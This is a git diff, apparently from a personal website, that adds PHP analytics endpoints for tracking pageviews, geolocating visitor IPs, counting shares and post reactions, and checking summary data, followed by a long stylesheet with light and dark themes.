); +} + +if ($summary['new'] != $newCount) { + $discrepancies[] = sprintf( + "New visitors mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['new'], $newCount, $summary['new'] - $newCount + ); +} + +if ($summary['returning'] != $returningCount) { + $discrepancies[] = sprintf( + "Returning visitors mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summary['returning'], $returningCount, $summary['returning'] - $returningCount + ); +} + +// Compare hourly data +$hourlyDiff = false; +for ($h = 0; $h < 24; $h++) { + if ($summary['byHour'][$h] != $byHour[$h]) { + $hourlyDiff = true; + break; + } +} +if ($hourlyDiff) { + $discrepancies[] = "Hourly distribution differs between summary and raw data"; +} + +// Compare shares +foreach (['mastodon', 'bluesky', 'copy'] as $platform) { + $summaryShares = $summary['shares'][$platform] ?? 0; + $rawShares = $shares[$platform] ?? 0; + if ($summaryShares != $rawShares) { + $discrepancies[] = sprintf( + "Shares ({$platform}) mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summaryShares, $rawShares, $summaryShares - $rawShares + ); + } +} + +// Compare RSS +$summaryRss = $summary['rss'] ?? 0; +if ($summaryRss != $rssClicks) { + $discrepancies[] = sprintf( + "RSS clicks mismatch: Summary=%d, Raw count=%d (diff: %+d)", + $summaryRss, $rssClicks, $summaryRss - $rssClicks + ); +} + +// Display results +echo "SUMMARY DATA:\n"; +echo " Total visits: " . ($summary['total'] ?? 0) . "\n"; +echo " New visitors: " . ($summary['new'] ?? 0) . "\n"; +echo " Returning visitors: " . ($summary['returning'] ?? 0) . "\n"; +echo " RSS clicks: " . ($summary['rss'] ?? 0) . "\n"; +echo " Shares: Mastodon=" . ($summary['shares']['mastodon'] ?? 0) . + ", Bluesky=" . ($summary['shares']['bluesky'] ?? 0) . + ", Copy=" . ($summary['shares']['copy'] ?? 0) . "\n\n"; + +echo "RAW DATA COUNT:\n"; +echo " Total pageviews: {$pageviewCount}\n"; +echo " Unique new visitors: {$newCount}\n"; +echo " Unique returning visitors: {$returningCount}\n"; +echo " RSS clicks: {$rssClicks}\n"; +echo " Shares: Mastodon={$shares['mastodon']}, Bluesky={$shares['bluesky']}, Copy={$shares['copy']}\n"; +echo " Total visits (all types): " . count($visits) . "\n\n"; + +if (count($discrepancies) > 0) { + echo "⚠️ DISCREPANCIES FOUND:\n"; + foreach ($discrepancies as $disc) { + echo " - {$disc}\n"; + } + echo "\n"; +} else { + echo "✓ Summary and raw data match!\n\n"; +} + +if (count($issues) > 0) { + echo "⚠️ POTENTIAL ISSUES:\n"; + foreach ($issues as $issue) { + echo " - {$issue}\n"; + } + echo "\n"; +} else { + echo "✓ No obvious issues detected.\n\n"; +} + +// Show top visitors +echo "TOP VISITORS (by pageview count):\n"; +$visitorCounts = []; +foreach ($pageviews as $visit) { + $vid = $visit['visitorId']; + $visitorCounts[$vid] = ($visitorCounts[$vid] ?? 0) + 1; +} +arsort($visitorCounts); +$topVisitors = array_slice($visitorCounts, 0, 10, true); +foreach ($topVisitors as $vid => $count) { + $firstVisit = null; + foreach ($pageviews as $v) { + if ($v['visitorId'] === $vid) { + $firstVisit = $v; + break; + } + } + $ua = substr($firstVisit['userAgent'] ?? 'Unknown', 0, 50); + echo sprintf(" %s: %d pageviews (UA: %s...)\n", substr($vid, 0, 30), $count, $ua); +} + +echo "\n"; + +// Show hourly breakdown +echo "HOURLY BREAKDOWN (from raw data):\n"; +for ($h = 0; $h < 24; $h++) { + $count = $byHour[$h]; + $bar = str_repeat('█', min(50, (int)($count / max(1, max($byHour)) * 50))); + echo sprintf(" %02d:00 %5d %s\n", $h, $count, $bar); +} + +echo "\n"; + +// Accuracy notes +echo "ACCURACY CONSIDERATIONS:\n"; +echo " ✓ Data is recalculated from raw timestamps (hourly stats are accurate)\n"; +echo " ⚠ Bot traffic is NOT filtered (may inflate numbers)\n"; +echo " ⚠ Ad blockers may prevent tracking (may deflate numbers)\n"; +echo " ⚠ Self-visits are NOT filtered\n"; +echo " ⚠ JavaScript-disabled browsers won't be tracked\n"; +echo " ⚠ Privacy tools may block localStorage (affects visitor ID)\n"; +echo " ⚠ New/Returning is calculated per-day, not across days\n"; +echo " ⚠ Multiple tabs/devices = multiple visitors\n"; +echo "\n"; + +?> diff --git a/api/analytics.php b/api/analytics.php new file mode 100755 index 0000000..21e9438 --- /dev/null +++ b/api/analytics.php @@ -0,0 +1,336 @@ + 'Access denied']); // No peeking, strangers + exit; +} + +$date = isset($_GET['date']) ? $_GET['date'] : date('Y-m-d'); +$endDate = isset($_GET['endDate']) ? $_GET['endDate'] : null; +$dataDir = __DIR__ . '/../data/analytics'; +$reactionsDir = __DIR__ . '/../data/reactions'; + +// Date range wizard - conjures dates out of thin air +function getDatesInRange($startDate, $endDate) { + $dates = []; + $current = strtotime($startDate); + $end = strtotime($endDate); + while ($current <= $end) { + $dates[] = date('Y-m-d', $current); + $current = strtotime('+1 day', $current); + } + return $dates; +} + +// Load summary data - aggregate if date range is provided +$data = [ + 'total' => 0, + 'new' => 0, + 'returning' => 0, + 'byHour' => array_fill(0, 24, 0), + 'shares' => ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0], + 'rss' => 0 +]; + +if ($endDate && $endDate >= $date) { + // Date range mode - aggregate data from multiple days + $dates = getDatesInRange($date, $endDate); + $allVisits = []; + + foreach ($dates as $dayDate) { + $filename = $dataDir . '/summary_' . $dayDate . '.json'; + if (file_exists($filename)) { + $dayData = json_decode(file_get_contents($filename), true); + if ($dayData) { + // Aggregate totals + $data['total'] += $dayData['total'] ?? 0; + $data['new'] += $dayData['new'] ?? 0; + $data['returning'] += $dayData['returning'] ?? 0; + + // Aggregate shares + if (isset($dayData['shares'])) { + $data['shares']['mastodon'] += $dayData['shares']['mastodon'] ?? 0; + $data['shares']['bluesky'] += $dayData['shares']['bluesky'] ?? 0; + $data['shares']['copy'] += $dayData['shares']['copy'] ?? 0; + } + + // Aggregate hourly data + if (isset($dayData['byHour']) && is_array($dayData['byHour'])) { + for ($i = 0; $i < 24; $i++) { + $data['byHour'][$i] += $dayData['byHour'][$i] ?? 0; + } + } + + // Collect visits for recent visitors + $visitsFile = $dataDir . '/visits_' . $dayDate . '.json'; + if (file_exists($visitsFile)) { + $dayVisits = json_decode(file_get_contents($visitsFile), true) ?: []; + $allVisits = array_merge($allVisits, $dayVisits); + } + } + } else { + // Load visits even if summary doesn't exist + $visitsFile = $dataDir . '/visits_' . $dayDate . '.json'; + if (file_exists($visitsFile)) { + $dayVisits = json_decode(file_get_contents($visitsFile), true) ?: []; + $allVisits = array_merge($allVisits, $dayVisits); + } + } + } + + // Recalculate byHour from actual timestamps for the range + $recalculatedByHour = array_fill(0, 24, 0); + foreach ($allVisits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'pageview' && isset($visit['timestamp'])) { + $hour = (int)date('H', $visit['timestamp']); + if ($hour >= 0 && $hour < 24) { + $recalculatedByHour[$hour]++; + } + } + } + $data['byHour'] = $recalculatedByHour; + + // Use all visits for recent visitors + $visits = $allVisits; +} else { + // Single date mode + $filename = $dataDir . '/summary_' . $date . '.json'; + if (file_exists($filename)) { + $data = json_decode(file_get_contents($filename), true); + } + + // Load visits file for this date + $visitsFile = $dataDir . '/visits_' . $date . '.json'; + $visits = []; + if (file_exists($visitsFile)) { + $visits = json_decode(file_get_contents($visitsFile), true) ?: []; + } + + // Recalculate byHour from actual timestamps + $recalculatedByHour = array_fill(0, 24, 0); + foreach ($visits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'pageview' && isset($visit['timestamp'])) { + $hour = (int)date('H', $visit['timestamp']); + if ($hour >= 0 && $hour < 24) { + $recalculatedByHour[$hour]++; + } + } + } + $data['byHour'] = $recalculatedByHour; +} + +// Ensure RSS tracking exists +if (!isset($data['rss'])) { + $data['rss'] = 0; +} + +// Calculate active RSS subscribers (readers who fetched in last 7 days) +$readersFile = $dataDir . '/rss_readers.json'; +$activeRssSubscribers = 0; +if (file_exists($readersFile)) { + $readers = json_decode(file_get_contents($readersFile), true) ?: []; + $sevenDaysAgo = time() - (7 * 24 * 60 * 60); + foreach ($readers as $reader) { + if (isset($reader['lastFetch']) && $reader['lastFetch'] >= $sevenDaysAgo) { + $activeRssSubscribers++; + } + } +} +$data['activeRssSubscribers'] = $activeRssSubscribers; + +// Get 10 most recent unique IP addresses with geolocation +function getGeolocation($ip) { + // Skip private/local IPs + if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { + return ['country' => 'Local', 'city' => 'Private Network', 'isp' => '']; + } + + // Use ip-api.com (free, no API key needed, 45 requests/minute limit) + $url = "http://ip-api.com/json/{$ip}?fields=status,country,countryCode,city,region,isp,query"; + + // Use file_get_contents with stream context + $context = stream_context_create([ + 'http' => [ + 'timeout' => 2, + 'method' => 'GET', + 'header' => 'User-Agent: Analytics/1.0' + ] + ]); + + $response = @file_get_contents($url, false, $context); + + if ($response) { + $geo = json_decode($response, true); + if ($geo && isset($geo['status']) && $geo['status'] === 'success') { + return [ + 'country' => $geo['country'] ?? 'Unknown', + 'countryCode' => $geo['countryCode'] ?? '', + 'city' => $geo['city'] ?? 'Unknown', + 'region' => $geo['region'] ?? '', + 'isp' => $geo['isp'] ?? 'Unknown', + 'ip' => $geo['query'] ?? $ip + ]; + } + } + + return ['country' => 'Unknown', 'city' => 'Unknown', 'isp' => 'Unknown', 'ip' => $ip]; +} + +// Get unique IPs with their most recent visit timestamp +$ipVisits = []; +foreach ($visits as $visit) { + $ip = $visit['ip'] ?? ''; + if ($ip && !isset($ipVisits[$ip])) { + $ipVisits[$ip] = [ + 'ip' => $ip, + 'timestamp' => $visit['timestamp'] ?? 0, + 'page' => $visit['page'] ?? '', + 'userAgent' => $visit['userAgent'] ?? '' + ]; + } elseif ($ip && isset($ipVisits[$ip])) { + // Keep the most recent timestamp + if (($visit['timestamp'] ?? 0) > $ipVisits[$ip]['timestamp']) { + $ipVisits[$ip]['timestamp'] = $visit['timestamp'] ?? 0; + $ipVisits[$ip]['page'] = $visit['page'] ?? ''; + } + } +} + +// Sort by timestamp (most recent first) and get top 10 +usort($ipVisits, function($a, $b) { + return $b['timestamp'] - $a['timestamp']; +}); +$recentIPs = array_slice($ipVisits, 0, 10); + +// Get geolocation for each IP (with caching to avoid rate limits) +$geoCacheFile = $dataDir . '/geo_cache.json'; +$geoCache = []; +if (file_exists($geoCacheFile)) { + $geoCache = json_decode(file_get_contents($geoCacheFile), true) ?: []; +} + +$recentVisitors = []; +foreach ($recentIPs as $ipVisit) { + $ip = $ipVisit['ip']; + + // Check cache first (cache expires after 24 hours) + $geo = null; + if (isset($geoCache[$ip]) && (time() - $geoCache[$ip]['cached_at']) < 86400) { + $geo = $geoCache[$ip]['data']; + } else { + $geo = getGeolocation($ip); + $geoCache[$ip] = ['data' => $geo, 'cached_at' => time()]; + // Small delay to respect API rate limits + usleep(200000); // 0.2 second delay + } + + $recentVisitors[] = [ + 'ip' => $ip, + 'timestamp' => $ipVisit['timestamp'], + 'time' => gmdate('Y-m-d\TH:i:s\Z', $ipVisit['timestamp']), // ISO 8601 UTC format for frontend conversion + 'page' => $ipVisit['page'], + 'country' => $geo['country'] ?? 'Unknown', + 'countryCode' => $geo['countryCode'] ?? '', + 'city' => $geo['city'] ?? 'Unknown', + 'region' => $geo['region'] ?? '', + 'isp' => $geo['isp'] ?? 'Unknown' + ]; +} + +// Save updated cache +if (count($geoCache) > 0) { + file_put_contents($geoCacheFile, json_encode($geoCache, JSON_PRETTY_PRINT)); +} + +$data['recentVisitors'] = $recentVisitors; + +// Ensure shares structure exists and normalize old platform names +if (!isset($data['shares'])) { + $data['shares'] = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +} else { + // Normalize old platform names to new ones + $normalizedShares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; + foreach ($data['shares'] as $platform => $count) { + if ($platform === 'twitter' || $platform === 'mastodon') { + $normalizedShares['mastodon'] += $count; + } else if ($platform === 'facebook' || $platform === 'bluesky') { + $normalizedShares['bluesky'] += $count; + } else if ($platform === 'copy') { + $normalizedShares['copy'] += $count; + } + } + $data['shares'] = $normalizedShares; +} + +// Load blog posts and their stats +$postsFile = __DIR__ . '/../blog/data/posts.json'; +$posts = []; +if (file_exists($postsFile)) { + $posts = json_decode(file_get_contents($postsFile), true) ?: []; +} + +// Get reactions and shares for each post +$blogStats = []; +foreach ($posts as $post) { + $postId = $post['id']; + $reactionFile = $reactionsDir . '/post_' . $postId . '.json'; + + $reactions = ['like' => 0, 'love' => 0, 'helpful' => 0]; + if (file_exists($reactionFile)) { + $reactionData = json_decode(file_get_contents($reactionFile), true); + if (isset($reactionData['counts'])) { + $reactions = $reactionData['counts']; + } + } + + // Get shares for this post from visits data (already loaded, includes date range) + $postShares = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; + foreach ($visits as $visit) { + if (isset($visit['type']) && $visit['type'] === 'share' && + isset($visit['page']) && strpos($visit['page'], '#post-' . $postId) !== false) { + $platform = $visit['platform'] ?? 'copy'; + if (isset($postShares[$platform])) { + $postShares[$platform]++; + } + } + } + + $blogStats[] = [ + 'id' => $postId, + 'title' => $post['title'], + 'reactions' => $reactions, + 'shares' => $postShares, + 'totalReactions' => array_sum($reactions), + 'totalShares' => array_sum($postShares) + ]; +} + +$data['blogPosts'] = $blogStats; + +echo json_encode(['success' => true, 'data' => $data]); +?> diff --git a/api/reaction.php b/api/reaction.php new file mode 100755 index 0000000..2433626 --- /dev/null +++ b/api/reaction.php @@ -0,0 +1,114 @@ + 'Missing required fields']); + exit; + } + + $postId = $data['postId']; + $reaction = $data['reaction']; + $visitorId = isset($data['visitorId']) ? $data['visitorId'] : md5($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); + + $filename = $dataDir . '/post_' . $postId . '.json'; + + // Load existing reactions + $reactions = []; + if (file_exists($filename)) { + $reactions = json_decode(file_get_contents($filename), true) ?: []; + } + + // Initialize reaction counts + if (!isset($reactions['counts'])) { + $reactions['counts'] = ['like' => 0, 'love' => 0, 'helpful' => 0]; + } + + // Initialize user reactions + if (!isset($reactions['users'])) { + $reactions['users'] = []; + } + + // Check if user already reacted + $userIndex = -1; + foreach ($reactions['users'] as $index => $user) { + if ($user['visitorId'] === $visitorId) { + $userIndex = $index; + break; + } + } + + if ($userIndex >= 0) { + // User already reacted, update their reaction + $oldReaction = $reactions['users'][$userIndex]['reaction']; + if ($oldReaction !== $reaction) { + // Change reaction - decrement old, increment new + if (isset($reactions['counts'][$oldReaction]) && $reactions['counts'][$oldReaction] > 0) { + $reactions['counts'][$oldReaction]--; + } + if (!isset($reactions['counts'][$reaction])) { + $reactions['counts'][$reaction] = 0; + } + $reactions['counts'][$reaction]++; + $reactions['users'][$userIndex]['reaction'] = $reaction; + } else { + // Same reaction, remove it (toggle off) + if (isset($reactions['counts'][$reaction]) && $reactions['counts'][$reaction] > 0) { + $reactions['counts'][$reaction]--; + } + unset($reactions['users'][$userIndex]); + $reactions['users'] = array_values($reactions['users']); + } + } else { + // New reaction + if (!isset($reactions['counts'][$reaction])) { + $reactions['counts'][$reaction] = 0; + } + $reactions['counts'][$reaction]++; + $reactions['users'][] = [ + 'visitorId' => $visitorId, + 'reaction' => $reaction, + 'timestamp' => time() + ]; + } + + // Ensure all reaction types exist + if (!isset($reactions['counts']['like'])) $reactions['counts']['like'] = 0; + if (!isset($reactions['counts']['love'])) $reactions['counts']['love'] = 0; + if (!isset($reactions['counts']['helpful'])) $reactions['counts']['helpful'] = 0; + + // Save reactions + file_put_contents($filename, json_encode($reactions, JSON_PRETTY_PRINT)); + + echo json_encode(['success' => true, 'counts' => $reactions['counts']]); + +} else if ($_SERVER['REQUEST_METHOD'] === 'GET') { + // Get reactions for a post + if (!isset($_GET['postId']) || $_GET['postId'] === '') { + http_response_code(400); + echo json_encode(['error' => 'Missing postId']); + exit; + } + $postId = $_GET['postId']; + + $filename = $dataDir . '/post_' . $postId . '.json'; + + if (file_exists($filename)) { + $reactions = json_decode(file_get_contents($filename), true); + echo json_encode(['success' => true, 'counts' => $reactions['counts'] ?? []]); + } else { + echo json_encode(['success' => true, 'counts' => ['like' => 0, 'love' => 0, 'helpful' => 0]]); + } +} else { + http_response_code(405); + echo json_encode(['error' => 'Method not allowed']); +} +?> diff --git a/api/track.php b/api/track.php new file mode 100755 index 0000000..3dfdbd4 --- /dev/null +++ b/api/track.php @@ -0,0 +1,113 @@ + 'Method not allowed']); + exit; +} + +$data = json_decode(file_get_contents('php://input'), true); + +if (!isset($data['type']) || !isset($data['page'])) { + http_response_code(400); + echo json_encode(['error' => 'Missing required fields']); + exit; +} + +$dataDir = __DIR__ . '/../data/analytics'; +// Calculate date and hour from current timestamp to ensure timezone consistency +$now = time(); +$date = date('Y-m-d', $now); +$hour = (int)date('H', $now); +$filename = $dataDir . '/visits_' . $date . '.json'; + +// Load existing data - because we're not starting from scratch every time +$visits = []; +if (file_exists($filename)) { + $visits = json_decode(file_get_contents($filename), true) ?: []; +} + +// Generate visitor ID - a simple fingerprint that's probably unique enough +// Privacy advocates hate this one simple trick +$visitorId = isset($data['visitorId']) ? $data['visitorId'] : md5($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); + +// Check if new or returning visitor - because we care about your browsing habits +$isNewVisitor = true; +foreach ($visits as $visit) { + if ($visit['visitorId'] === $visitorId) { + $isNewVisitor = false; + break; // Found you, you can't hide + } +} + +// Add visit record - we're watching, always watching +// Timestamps are the only truth in this digital wasteland +$timestamp = time(); +$visitRecord = [ + 'timestamp' => $timestamp, + 'hour' => (int)date('H', $timestamp), + 'visitorId' => $visitorId, + 'page' => $data['page'], + 'type' => $data['type'], + 'isNew' => $isNewVisitor, + 'userAgent' => $_SERVER['HTTP_USER_AGENT'] ?? '', + 'ip' => $_SERVER['REMOTE_ADDR'] ?? '' +]; + +// Add platform if it's a share +if ($data['type'] === 'share' && isset($data['platform'])) { + $visitRecord['platform'] = $data['platform']; +} + +$visits[] = $visitRecord; + +// Save data +file_put_contents($filename, json_encode($visits, JSON_PRETTY_PRINT)); + +// Also update daily summary - because raw data is messy and we like order +$summaryFile = $dataDir . '/summary_' . $date . '.json'; +$summary = []; +if (file_exists($summaryFile)) { + $summary = json_decode(file_get_contents($summaryFile), true) ?: []; +} + +if (!isset($summary['total'])) $summary['total'] = 0; +if (!isset($summary['new'])) $summary['new'] = 0; +if (!isset($summary['returning'])) $summary['returning'] = 0; +if (!isset($summary['byHour'])) $summary['byHour'] = array_fill(0, 24, 0); +if (!isset($summary['shares'])) $summary['shares'] = ['mastodon' => 0, 'bluesky' => 0, 'copy' => 0]; +if (!isset($summary['rss'])) $summary['rss'] = 0; + +if ($data['type'] === 'share' && isset($data['platform'])) { + // Track share + $platform = $data['platform']; + if (isset($summary['shares'][$platform])) { + $summary['shares'][$platform]++; + } +} else if ($data['type'] === 'rss_click') { + // Track RSS button click + $summary['rss']++; +} else { + // Track pageview + $summary['total']++; + if ($isNewVisitor) { + $summary['new']++; + } else { + $summary['returning']++; + } + // Use hour calculated from timestamp for consistency + $hourFromTimestamp = (int)date('H', $timestamp); + $summary['byHour'][$hourFromTimestamp]++; +} + +file_put_contents($summaryFile, json_encode($summary, JSON_PRETTY_PRINT)); + +echo json_encode(['success' => true, 'visitorId' => $visitorId, 'isNew' => $isNewVisitor]); +?> diff --git a/assets/css/style.css b/assets/css/style.css new file mode 100755 index 0000000..789ca72 --- /dev/null +++ b/assets/css/style.css @@ -0,0 +1,1587 @@ +/* Custom font - monospace nerds unite */ +@font-face { + font-family: GohuFont14NerdFont; + src: url(../fonts/GohuFont14NerdFontMono-Regular.ttf); +} + +* { + font-family: GohuFont14NerdFont; +} + +/* Light mode - for those who enjoy retinal damage */ +:root { + --bg-color: #f7f8f7; + --bg-secondary: #e8eae8; + --text-primary: #2a3826; + --text-secondary: #62696D; + --border-accent: #904b59; + --border-color: #d0d3d0; + --hover-color: #7d9b8f; + --shadow-color: #2a382644; +} + +/* Dark mode - for the enlightened */ +[data-theme="dark"] { + --bg-color: #0C1012; + --bg-secondary: #1a2228; + --text-primary: #59C99C; + --text-secondary: #A5A9AB; + --border-accent: #326B78; + --border-color: #2a3a42; + --hover-color: #326B78; + --shadow-color: #353E4344; +} + +body { + background-color: var(--bg-color); + transition: background-color 0.3s ease; /* Smooth like butter */ + display: flex; + flex-direction: column; + align-items: center; + margin: 0; + padding: 0; +} + +[data-theme="dark"] body { + background-color: #1F282E; /* Extra dark for the vampires among us */ +} + +.search_box { + display: flex; + flex-direction: row; + align-items: center; + justify-content: center; + margin: 10px auto 0; + gap: 8px; + width: 100%; + max-width: 80rem; /* Increased from 60rem */ +} + +.search_box form { + display: flex; + flex-direction: row; + align-items: center; + gap: 8px; + margin: 0; + padding: 0; + width: 100%; + max-width: 80rem; /* Increased from 60rem */ +} + +.search_box #q, +.search_box input[type="text"], +.search_box input[name="q"] { + padding: 12px 16px; + font-size: 16px; + background-color: var(--bg-color); + color: var(--text-primary); + border: 4px solid var(--border-accent); + box-shadow: 3px 3px 1px 1px var(--shadow-color); + border-radius: 8px; + transition: border-color 0.3s ease, box-shadow 0.3s ease; + font-family: GohuFont14NerdFont, monospace; + height: auto; + line-height: normal; + flex: 1; + min-width: 0; + box-sizing: border-box; +} + +.search_box #q:focus, +.search_box input[type="text"]:focus, +.search_box input[name="q"]:focus { + outline: none; + border-color: var(--hover-color); + box-shadow: 4px 4px 2px 2px var(--shadow-color); +} + +.search_box #clear_search, +.search_box #send_search, +.search_box button[type="reset"], +.search_box button[type="submit"] { + background-color: transparent; + color: var(--text-primary); + border: none; + box-shadow: none; + padding: 12px 16px; + cursor: pointer; + transition: color 0.3s ease; + font-family: GohuFont14NerdFont, monospace; + height: auto; + width: auto; + margin: 0; + display: flex; + align-items: center; + justify-content: center; + min-width: 44px; + border-radius: 0; +} + +.search_box #clear_search:hover, +.search_box #send_search:hover, +.search_box button[type="reset"]:hover, +.search_box button[type="submit"]:hover { + color: var(--hover-color); + background-color: transparent; +} + +.search_box .search-icon { + width: 20px; + height: 20px; + stroke: currentColor; + fill: none; +} + +.search_box button { + font-size: 16px; +} + +.search_box .hide_if_nojs { + display: inline-block; +} + +.search_box .show_if_nojs { + display: none; +} + +button { + background-color: var(--bg-color); + font-size: 30px; + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + height: 50px; + width: 50px; + margin-top: 5px; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.reaction-btn, .share-btn { + background: none !important; + border: none !important; + box-shadow: none !important; + outline: none !important; + text-shadow: none !important; + border-radius: 0 !important; + height: auto !important; + width: auto !important; + margin: 0 !important; + color: var(--text-primary) !important; +} + +[data-theme="dark"] .reaction-btn, +[data-theme="dark"] .share-btn { + color: #59C99C !important; +} + +[data-theme="dark"] .reaction-btn:hover, +[data-theme="dark"] .share-btn:hover { + color: #326B78 !important; +} + +input { + width: 690px; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + font-size: 30px; + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding-left: 10px; + transition: background-color 0.3s ease, color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +input:focus, input:active { + width: 690px; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + outline: none; +} + +.info { + display: flex; + justify-content: center; + flex-direction: row; + margin-left: 20px; + line-height: 0; + margin-top: 10px; + margin-bottom: 10px; +} + +#greeting, #time { + font-size: 48px; + font-weight: 200; + color: var(--text-primary); + transition: color 0.3s ease; +} + +#blogMessage, #cheatsheetsMessage { + font-size: 48px; + font-weight: 200; + color: var(--text-primary); + margin: 0; + text-align: center; + transition: color 0.3s ease; +} + + +#blogMessage .blog-link, #cheatsheetsMessage .blog-link { + color: var(--text-primary); + text-decoration: none; + font-size: 48px; + font-weight: 200; + text-indent: 1px; + line-height: 1.6; + transition: color 0.3s ease; +} + +#blogMessage .blog-link:visited, #blogMessage .blog-link:link, #blogMessage .blog-link:active, +#cheatsheetsMessage .blog-link:visited, #cheatsheetsMessage .blog-link:link, #cheatsheetsMessage .blog-link:active { + color: var(--text-primary); + text-decoration: none; +} + +#blogMessage .blog-link:hover, #cheatsheetsMessage .blog-link:hover { + color: var(--hover-color); + text-decoration: underline; +} + +@media only screen and (max-width: 400px) { + input { + width: 50%; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding-left: 10px; + } + + input:focus, input:active { + width: 50%; + height: 40px; + margin: 5px; + background-color: var(--bg-color); + color: var(--text-primary); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + outline: none; + } + .name { + font-size: 10px; + position: relative; + text-align: center; + white-space: pre; + color: var(--text-primary); + transition: color 0.3s ease; + } + + #greeting, #time { + font-size: 24px; + } + + #blogMessage { + font-size: 20px; + } +} + +.list_title { + font-size: 36px; + border-bottom: solid 2px var(--border-accent); + transition: border-color 0.3s ease; +} + +.lists { + display: flex; + margin-top: 25px; + flex-wrap: wrap; + vertical-align: center; + justify-content: center; +} + +.name { + font-size: 20px; + position: relative; + text-align: center; + white-space: pre; + color: var(--text-primary); + transition: color 0.3s ease; +} + +/* Center name header with blog-main-content on blog pages */ +body:has(.blog-layout) .name { + margin-left: calc(20px + 200px + 30px + 60px); /* Align with blog-main-content: layout padding + sidebar width + gap + header margin-left */ +} + +.watch, .social, .dev, .linux, .other { + display: flex; + flex-direction: column; + text-align: center; + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + margin-top: 5px; + margin-left: 10px; + margin-right: 10px; + margin-bottom: 5px; + width: 200px; + padding: 40px; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +a { + transition: color 0.3s ease; +} + +a:visited, a:link, a:active { + color: var(--text-primary); + text-decoration: none; + font-size: 30px; + text-indent: 1px; + line-height: 1.6; + transition: color 0.3s ease; +} + +a:hover { + color: var(--hover-color); + text-decoration: underline; +} + +#w,#s,#d,#l,#e,#b { + color: var(--text-secondary); + transition: color 0.3s ease; +} + +.gemini-link { + position: fixed; + top: 20px; + left: 20px; + background: none; + border: none; + color: var(--text-primary); + cursor: pointer; + padding: 8px; + text-decoration: none; + font-size: 16px; + transition: color 0.3s ease; + z-index: 1000; +} + +.gemini-link:hover { + color: var(--hover-color); +} + +.onion-link { + position: fixed; + top: 55px; + left: 20px; + background: none; + border: none; + color: var(--text-primary); + cursor: pointer; + padding: 8px; + text-decoration: none; + font-size: 16px; + transition: color 0.3s ease; + z-index: 1000; +} + +.onion-link:hover { + color: var(--hover-color); +} + +.theme-toggle { + position: fixed; + top: 20px; + right: 20px; + background: none; + border: none; + color: var(--text-primary); + width: 50px; + height: 50px; + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + box-shadow: none; + transition: color 0.3s ease; + z-index: 1000; + padding: 0; +} + +.theme-icon { + width: 24px; + height: 24px; + stroke: currentColor; + transition: stroke 0.3s ease; +} + +.theme-toggle:hover { + color: var(--hover-color); +} + +.theme-toggle:hover .theme-icon { + stroke: var(--hover-color); +} + +.theme-toggle:focus { + outline: none; +} + +.blog-links { + margin-top: 15px; + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + background-color: var(--bg-color); + box-shadow: 5px 5px 1px 2px var(--shadow-color); + border-radius: 8px; + border: var(--border-accent) solid 4px; + padding: 20px 40px; + width: fit-content; + min-width: 300px; + margin-left: auto; + margin-right: auto; + transition: background-color 0.3s ease, border-color 0.3s ease, box-shadow 0.3s ease; +} + +.cheatsheets-links { + margin-top: 15px; + display: flex; + flex-direction: column; + align-items: center; + gap: 10px; + width: fit-content; + margin-left: auto; + margin-right: auto; +} + +.blog-links > a { + font-size: 24px; +} + +#recentPosts { + display: flex; + flex-direction: column; + gap: 10px; + width: 100%; +} + +#recentPosts a { + font-size: 24px; + padding: 5px; +} + +.blog-page-header { + display: flex; + flex-direction: column; + align-items: center; + margin-top: 30px; + margin-bottom: 30px; + margin-left: 60px; + position: relative; +} + +.blog-header-content { + position: relative; + width: 100%; + max-width: 1100px; + display: flex; + align-items: center; + justify-content: center; + gap: 30px; + min-height: 48px; + padding: 0 60px; /* Add padding for absolute positioned buttons */ +} + +.back-link { + position: absolute; + left: 0; + top: 50%; + transform: translateY(-50%); + text-decoration: none; + transition: filter 0.3s ease; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + z-index: 1; +} + +.back-link:hover .home-icon { + filter: brightness(0) saturate(100%) invert(50%) sepia(15%) saturate(800%) hue-rotate(120deg) brightness(95%) contrast(85%); + transition: filter 0.3s ease; +} + +.home-icon { + width: 42px; + height: 42px; + display: block; + color: var(--text-primary); + transition: color 0.3s ease; +} + +[data-theme="dark"] .home-icon { + color: #59C99C; + filter: none !important; +} + +[data-theme="dark"] .back-link:hover .home-icon { + color: #326B78; + filter: none !important; +} + +.rss-icon-link { + position: absolute; + right: 0; + top: 50%; + transform: translateY(-50%); + color: var(--text-primary); + text-decoration: none; + transition: filter 0.3s ease; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + z-index: 1; +} + +.rss-icon-link:hover .rss-icon { + color: 